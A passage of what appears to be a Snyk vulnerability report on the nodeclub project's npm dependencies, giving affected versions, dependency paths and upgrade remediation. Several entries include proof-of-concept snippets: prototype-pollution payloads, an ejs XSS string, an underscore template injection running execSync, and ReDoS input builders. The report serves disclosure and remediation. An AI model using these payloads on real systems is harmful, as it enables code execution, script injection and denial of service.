to: '...',
replyTo: {
name: 'Customer',
address: userEmail,
},
subject: 'My Subject',
text: message,
});
Remediation
Upgrade nodemailer
to version 6.6.1 or higher.
References
medium severity
- Vulnerable module: bunyan
- Introduced through: oneapm@1.2.20
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › oneapm@1.2.20 › bunyan@0.14.6
Overview
bunyan is an a JSON logging library for node.js services
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via insecure command formatting which allowed creating a "hacked" file in the current dir.
Remediation
Upgrade bunyan
to version 1.8.13, 2.0.3 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: data2xml@1.2.4, loader-builder@2.4.1 and others
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › data2xml@1.2.4 › tape@4.17.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › stylus@0.54.8 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › yamljs@0.2.7 › glob@4.5.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres
function due to improperly deleting keys from the reqs
object after execution of callbacks. This behavior causes the keys to remain in the reqs
object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node
process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight
.
References
medium severity
- Vulnerable module: express
- Introduced through: express@4.15.2
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2Remediation: Upgrade to express@4.19.2.
Overview
express is a minimalist web framework.
Affected versions of this package are vulnerable to Open Redirect due to the implementation of URL encoding using encodeurl
before passing it to the location
header. This can lead to unexpected evaluations of malformed URLs by common redirect allow list implementations in applications, allowing an attacker to bypass a properly implemented allow list and redirect users to malicious sites.
Remediation
Upgrade express
to version 4.19.2, 5.0.0-beta.3 or higher.
References
medium severity
- Vulnerable module: ejs
- Introduced through: ejs-mate@2.3.0
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › ejs-mate@2.3.0 › ejs@1.0.0Remediation: Upgrade to ejs-mate@3.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › ejs-mate@2.3.0 › ejs@1.0.0Remediation: Upgrade to ejs-mate@3.0.0.
Overview
ejs
is a popular JavaScript templating engine.
Affected versions of the package are vulnerable to Cross-site Scripting by letting the attacker under certain conditions control and override the filename
option causing it to render the value as is, without escaping it.
You can read more about this vulnerability on the Snyk blog.
There's also a Remote Code Execution & Denial of Service vulnerabilities caused by the same behaviour.
Details
ejs
provides a few different options for you to render a template, two being very similar: ejs.render()
and ejs.renderFile()
. The only difference being that render
expects a string to be used for the template and renderFile
expects a path to a template file.
Both functions can be invoked in two ways. The first is calling them with template
, data
, and options
:
ejs.render(str, data, options);
ejs.renderFile(filename, data, options, callback)
The second way would be by calling only the template
and data
, while ejs
lets the options
be passed as part of the data
:
ejs.render(str, dataAndOptions);
ejs.renderFile(filename, dataAndOptions, callback)
If used with a variable list supplied by the user (e.g. by reading it from the URI with qs
or equivalent), an attacker can control ejs
options. This includes the filename
option, which will be rendered as is when an error occurs during rendering.
ejs.renderFile('my-template', {filename:'<script>alert(1)</script>'}, callback);
The fix introduced in version 2.5.3
blacklisted root
options from options passed via the data
object.
Disclosure Timeline
- November 28th, 2016 - Reported the issue to package owner.
- November 28th, 2016 - Issue acknowledged by package owner.
- December 06th, 2016 - Issue fixed and version
2.5.5
released.
Remediation
The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard
from the command-line interface.
Otherwise, Upgrade ejs
to version 2.5.5
or higher.
References
medium severity
- Vulnerable module: ejs
- Introduced through: ejs-mate@2.3.0
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › ejs-mate@2.3.0 › ejs@1.0.0Remediation: Upgrade to ejs-mate@3.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › ejs-mate@2.3.0 › ejs@1.0.0Remediation: Upgrade to ejs-mate@3.0.0.
Overview
ejs
is a popular JavaScript templating engine.
Affected versions of the package are vulnerable to Denial of Service by letting the attacker under certain conditions control and override the localNames
option causing it to crash.
You can read more about this vulnerability on the Snyk blog.
There's also a Remote Code Execution & Cross-site Scripting vulnerabilities caused by the same behaviour.
Details
ejs
provides a few different options for you to render a template, two being very similar: ejs.render()
and ejs.renderFile()
. The only difference being that render
expects a string to be used for the template and renderFile
expects a path to a template file.
Both functions can be invoked in two ways. The first is calling them with template
, data
, and options
:
ejs.render(str, data, options);
ejs.renderFile(filename, data, options, callback)
The second way would be by calling only the template
and data
, while ejs
lets the options
be passed as part of the data
:
ejs.render(str, dataAndOptions);
ejs.renderFile(filename, dataAndOptions, callback)
If used with a variable list supplied by the user (e.g. by reading it from the URI with qs
or equivalent), an attacker can control ejs
options. This includes the localNames
option, which will cause the renderer to crash.
ejs.renderFile('my-template', {localNames:'try'}, callback);
The fix introduced in version 2.5.3
blacklisted root
options from options passed via the data
object.
Disclosure Timeline
- November 28th, 2016 - Reported the issue to package owner.
- November 28th, 2016 - Issue acknowledged by package owner.
- December 06th, 2016 - Issue fixed and version
2.5.5
released.
Remediation
The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard
from the command-line interface.
Otherwise, Upgrade ejs
to version 2.5.5
or higher.
References
medium severity
- Vulnerable module: mongoose
- Introduced through: mongoose@4.4.9
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › mongoose@4.4.9Remediation: Upgrade to mongoose@4.13.21.
Overview
mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
Affected versions of this package are vulnerable to Information Exposure. Any query object with a _bsontype
attribute is ignored, allowing attackers to bypass access control.
Remediation
Upgrade mongoose
to version 4.13.21, 5.7.5 or higher.
References
medium severity
- Vulnerable module: minimist
- Introduced through: pm2@1.1.1
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › mkdirp@0.5.1 › minimist@0.0.8
Overview
minimist is a parse argument options module.
Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype
using a constructor
or __proto__
payload.
PoC by Snyk
require('minimist')('--__proto__.injected0 value0'.split(' '));
console.log(({}).injected0 === 'value0'); // true
require('minimist')('--constructor.prototype.injected1 value1'.split(' '));
console.log(({}).injected1 === 'value1'); // true
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade minimist
to version 0.2.1, 1.2.3 or higher.
References
medium severity
- Vulnerable module: mongoose
- Introduced through: mongoose@4.4.9
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › mongoose@4.4.9Remediation: Upgrade to mongoose@5.12.2.
Overview
mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
Affected versions of this package are vulnerable to Prototype Pollution. The mongoose.Schema()
function is subject to prototype pollution due to the recursively calling of Schema.prototype.add()
function to add new items into the schema object. This vulnerability allows modification of the Object prototype.
PoC
mongoose = require('mongoose');
mongoose.version; //'5.12.0'
var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
console.log('Before:', {}.polluted); // undefined
mongoose.Schema(JSON.parse(malicious_payload));
console.log('After:', {}.polluted); // HACKED
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade mongoose
to version 5.12.2 or higher.
References
medium severity
- Vulnerable module: mpath
- Introduced through: mongoose@4.4.9
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › mongoose@4.4.9 › mpath@0.2.1Remediation: Upgrade to mongoose@5.13.9.
Overview
mpath is a package that gets/sets javascript object values using MongoDB-like path notation.
Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2018-16490. In particular, the condition ignoreProperties.indexOf(parts[i]) !== -1
returns -1
if parts[i]
is ['__proto__']
. This is because the method that has been called if the input is an array is Array.prototype.indexOf()
and not String.prototype.indexOf()
. They behave differently depending on the type of the input.
PoC
const mpath = require('mpath');
// mpath.set(['__proto__', 'polluted'], 'yes', {});
// console.log(polluted); // ReferenceError: polluted is not defined
mpath.set([['__proto__'], 'polluted'], 'yes', {});
console.log(polluted); // yes
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade mpath
to version 0.8.4 or higher.
References
medium severity
- Vulnerable module: log4js
- Introduced through: log4js@0.6.38
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › log4js@0.6.38Remediation: Upgrade to log4js@6.4.0.
Overview
log4js is a Port of Log4js to work with node.
Affected versions of this package are vulnerable to Information Exposure via the default file permissions for log files that are created by the file
, fileSync
and dateFile
appenders which are world-readable (in unix). This could cause problems if log files contain sensitive information. This would affect any users that have not supplied their own permissions for the files via the mode parameter in the config.
Remediation
Upgrade log4js
to version 6.4.0 or higher.
References
medium severity
- Vulnerable module: underscore
- Introduced through: pm2@1.1.1
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › yamljs@0.2.7 › argparse@0.1.16 › underscore@1.7.0
Overview
underscore is a JavaScript's functional programming helper library.
Affected versions of this package are vulnerable to Arbitrary Code Injection via the template
function, particularly when the variable
option is taken from _.templateSettings
as it is not sanitized.
PoC
const _ = require('underscore');
_.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')";
const t = _.template("")();
Remediation
Upgrade underscore
to version 1.13.0-2, 1.12.1 or higher.
References
medium severity
- Vulnerable module: cookiejar
- Introduced through: superagent@1.8.2
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › superagent@1.8.2 › cookiejar@2.0.6Remediation: Upgrade to superagent@2.0.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse
function, which uses an insecure regular expression.
PoC
const { CookieJar } = require("cookiejar");
const jar = new CookieJar();
const start = performance.now();
const attack = "a" + "t".repeat(50_000);
jar.setCookie(attack);
console.log(`CookieJar.setCookie(): ${performance.now() - start}`);
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade cookiejar
to version 2.1.4 or higher.
References
medium severity
new
- Vulnerable module: ejs
- Introduced through: ejs-mate@2.3.0
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › ejs-mate@2.3.0 › ejs@1.0.0Remediation: Upgrade to ejs-mate@4.0.0.
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.
Note:
Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty
method.
Remediation
Upgrade ejs
to version 3.1.10 or higher.
References
medium severity
- Vulnerable module: glob-parent
- Introduced through: pm2@1.1.1
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › chokidar@1.4.3 › glob-parent@2.0.0Remediation: Upgrade to pm2@4.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › chokidar@1.4.3 › anymatch@1.3.2 › micromatch@2.3.11 › parse-glob@3.0.4 › glob-base@0.3.0 › glob-parent@2.0.0
Overview
glob-parent is a package that helps extracting the non-magic parent path from a glob string.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The enclosure
regex used to check for strings ending in enclosure containing path separator.
PoC by Yeting Li
var globParent = require("glob-parent")
function build_attack(n) {
var ret = "{"
for (var i = 0; i < n; i++) {
ret += "/"
}
return ret;
}
globParent(build_attack(5000));
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade glob-parent
to version 5.1.2 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: ioredis@1.15.1 and lodash@4.16.2
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › ioredis@1.15.1 › lodash@3.10.1Remediation: Upgrade to ioredis@2.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › lodash@4.16.2Remediation: Upgrade to lodash@4.17.21.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber
, trim
and trimEnd
functions.
POC
var lo = require('lodash');
function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000)
var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0)
var time1 = Date.now();
lo.toNumber(s)
var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1)
var time2 = Date.now();
lo.trimEnd(s)
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2)
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
